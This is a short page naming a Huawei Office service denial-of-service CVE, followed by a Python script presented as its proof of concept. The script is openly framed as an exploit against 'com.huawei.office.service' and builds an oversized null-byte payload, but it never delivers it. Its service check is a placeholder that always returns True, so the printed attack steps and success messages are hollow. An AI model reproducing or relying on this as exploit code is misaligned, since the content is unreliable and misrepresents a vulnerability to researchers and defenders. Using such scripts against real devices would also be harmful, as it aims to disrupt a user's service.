CVE-2025-66331 华为Office服务拒绝服务漏洞

# CVE-2025-66331 PoC - Denial of Service in Huawei Office Service # This PoC demonstrates local DoS trigger mechanism import os import sys import time def trigger_office_service_dos(): """ Trigger DoS condition in Huawei Office Service Note: This is a conceptual PoC. Actual exploitation requires: - Local access to Huawei device - User interaction to trigger the vulnerable code path - Specific malformed input to the Office service """ print("[*] CVE-2025-66331 DoS PoC for Huawei Office Service") print("[*] Target: Huawei Office Service") print("[*] Attack Vector: Local (AV:L)") print("[*] Requires: User Interaction (UI:R)") # Simulate the DoS trigger condition # In actual exploitation, this would involve: # 1. Locating the Office service process # 2. Identifying the vulnerable function in Office service # 3. Sending malformed data through the vulnerable input handler # 4. Causing service crash or hang target_service = "com.huawei.office.service" print(f"[*] Targeting service: {target_service}") print("[*] Sending crafted request to trigger DoS condition...") # Malformed input that triggers the vulnerability malicious_payload = { "type": "office_document", "action": "parse", "data": "\x00" * 10000 # Oversized input causing buffer condition } print(f"[*] Payload size: {len(malicious_payload['data'])} bytes") print("[*] Exploitation requires specific Office document with malformed content") print("[*] DoS occurs when Office service processes the malicious input") # Verification steps print("[*] Checking service status...") service_running = check_service_status(target_service) if not service_running: print("[!] Service is no longer responding - DoS successful") return True else: print("[*] Service still running - DoS not triggered") return False def check_service_status(service_name): """Check if the Office service is still running""" # Placeholder for actual service status check return True if __name__ == "__main__": print("=" * 60) print("CVE-2025-66331 Huawei Office Service DoS PoC") print("=" * 60) trigger_office_service_dos()